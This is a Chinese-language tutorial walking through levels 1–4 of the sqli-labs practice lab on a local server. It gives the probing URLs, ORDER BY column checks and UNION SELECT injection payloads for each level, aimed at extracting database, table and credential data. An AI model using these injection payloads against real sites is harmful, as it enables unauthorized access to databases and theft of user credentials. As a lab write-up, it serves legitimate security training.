SQL注入--sqli-labs(1-4关)

mysql的基本用法:

  查库:select schema_name from information_schema.schemata  等同于 show databases

SQL注入--sqli-labs(1-4关)

查表:select table_name from information_schema.tables where table_schema=‘‘   等同于 show tables

SQL注入--sqli-labs(1-4关)

查列:select column_name from information_schema.columns where table_name=‘‘  

SQL注入--sqli-labs(1-4关)

查字段:select id,username,password from security.users  查询出security中的users表中的id、username和password

SQL注入--sqli-labs(1-4关)

information_schema,系统数据库,包含所有数据库相关信息。

information_schema.schemata中schema_name,字段为所有数据库名称。

information_schema.tables中tables_name列对应数据库所有表名,其中table_schema列是所有数据库名。

information_schema.columns中,columns_name对应所有列名,其中table_schema也对应所有数据库名,table_name列也对应所有表名。

知识点:

  在MySQL数据库中,单行注释有#和--。在URL中,如果在最后加上--,浏览器在发送请求时会把URL末尾的空格舍去,而用--+代替--,原因是+在URL被URL编码后会变成空格。

第一关(Less-1):

  1.根据题目提示,输入http://127.0.0.1/sqli-labs-master/Less-1/?id=1,显示正常

SQL注入--sqli-labs(1-4关)

2.加个单引号,http://127.0.0.1/sqli-labs-master/Less-1/?id=1‘,提示语句出错

SQL注入--sqli-labs(1-4关)

3.输入注释符--+,http://127.0.0.1/sqli-labs-master/Less-1/?id=1‘--+,显示正常,可知是单引号字符型注入

SQL注入--sqli-labs(1-4关)

4.使用order by查列数,输入http://127.0.0.1/sqli-labs-master/Less-1/?id=1‘ order by 3 --+,显示正常

SQL注入--sqli-labs(1-4关)

输入http://127.0.0.1/sqli-labs-master/Less-1/?id=1‘ order by 4 --+ ,显示没有4列,故有3列

SQL注入--sqli-labs(1-4关)

5.使用union参数进行联合查询注入,union前面的数据报错才能执行union后面的数据,因此将id=1改为id=-1开始进行注入

SQL注入--sqli-labs(1-4关)

   如图所示,2,3为显示位,此时可在2或3的位置进行手注

6.注当前数据库名,输入http://127.0.0.1/sqli-labs-master/Less-1/?id=1‘ union select 1,database(),3 --+

SQL注入--sqli-labs(1-4关)

   7.注表名,

SQL注入--sqli-labs(1-4关)

8.注某张表的字段,以user表为例

SQL注入--sqli-labs(1-4关)

   9.注字段的值,以user表中的username字段为例

SQL注入--sqli-labs(1-4关)

第二关(Less-2):

  1.根据题目提示,输入http://127.0.0.1/sqli-labs-master/Less-2/?id=1,显示正常

SQL注入--sqli-labs(1-4关)

2.加上单引号,输入http://127.0.0.1/sqli-labs-master/Less-2/?id=1‘,发现报错,说明存在注入漏洞,错误原因存在单引号

SQL注入--sqli-labs(1-4关)

3.去掉单引号,输入http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3 --+,显示正常

SQL注入--sqli-labs(1-4关)

4.输入http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 4 --+,显示Unknown column ‘4’,说明一共有三列

SQL注入--sqli-labs(1-4关)

5.使用联合查询语句,查看有哪几个数据可以回显,输入?id=-1 union select 1,2,3 --+,如图所示,可知回显位置为第二和第三位

SQL注入--sqli-labs(1-4关)

6.手动注入,爆出所有的数据库名

SQL注入--sqli-labs(1-4关)

7.爆出security中的所有表名

SQL注入--sqli-labs(1-4关)

8.爆出users表中的所有列名

SQL注入--sqli-labs(1-4关)

   9.爆字段,爆出user表中username,password字段的所有列

SQL注入--sqli-labs(1-4关)

第三关(Less-3):

  1.输入http://127.0.0.1/sqli-labs-master/Less-3/?id=1,显示正常

SQL注入--sqli-labs(1-4关)

2.加单引号,输入http://127.0.0.1/sqli-labs-master/Less-3/?id=1‘,存在注入漏洞,错误提示多余一个单引号

SQL注入--sqli-labs(1-4关)

3.再加上),输入http://127.0.0.1/sqli-labs-master/Less-3/?id=1‘)--+,显示正常

SQL注入--sqli-labs(1-4关)

4.查看有多少列,输入http://127.0.0.1/sqli-labs-master/Less-3/?id=1‘) order by 3 --+,显示正常,存在三列

SQL注入--sqli-labs(1-4关)

5.再输入 http://127.0.0.1/sqli-labs-master/Less-3/?id=1‘) order by 4 --+,提示没有四列,则只有三列

SQL注入--sqli-labs(1-4关)

6.使用联合查询语句,查询回显位置,输入http://127.0.0.1/sqli-labs-master/Less-3/?id=-1‘) union select 1,2,3  --+,如图,回显位置为2,3

SQL注入--sqli-labs(1-4关)

7.手动注入,爆出所有数据库名

SQL注入--sqli-labs(1-4关)

8.爆出security库中的所有表名

SQL注入--sqli-labs(1-4关)

9.爆出users表中所有的列信息

SQL注入--sqli-labs(1-4关)

10.爆字段,爆出users表中username,password列的所有信息

SQL注入--sqli-labs(1-4关)

第四关(Less-4):

  1.根据提示输入id,输入http://127.0.0.1/sqli-labs-master/Less-4/?id=1,显示正常

SQL注入--sqli-labs(1-4关)

2.加单引号,进行报错测试,输入http://127.0.0.1/sqli-labs-master/Less-4/?id=1‘,没有显示任何的报错信息

SQL注入--sqli-labs(1-4关)

3.加双引号进行测试,输入http://127.0.0.1/sqli-labs-master/Less-4/?id=1",出现报错,显示多出一个双引号

SQL注入--sqli-labs(1-4关)

4.根据提示信息,输入 http://127.0.0.1/sqli-labs-master/Less-4/?id=1") --+,显示正常

SQL注入--sqli-labs(1-4关)

5.查询有多少列,输入 http://127.0.0.1/sqli-labs-master/Less-4/?id=1") order by 3 --+,显示正常,说明有三列

SQL注入--sqli-labs(1-4关)

6.再次输入 http://127.0.0.1/sqli-labs-master/Less-4/?id=1") order by 4 --+,根据错误提示可知,不存在四列,故有三列

SQL注入--sqli-labs(1-4关)

7.联合查询,查询出回显位置,如图可知,回显位置为2,3

SQL注入--sqli-labs(1-4关)

8.爆出所有数据库名

SQL注入--sqli-labs(1-4关)

9.爆出security库中的所有表信息

SQL注入--sqli-labs(1-4关)

10.爆出users表中的所有列信息

SQL注入--sqli-labs(1-4关)

11.爆出users表中username,password列的所有信息

SQL注入--sqli-labs(1-4关)

  

相关推荐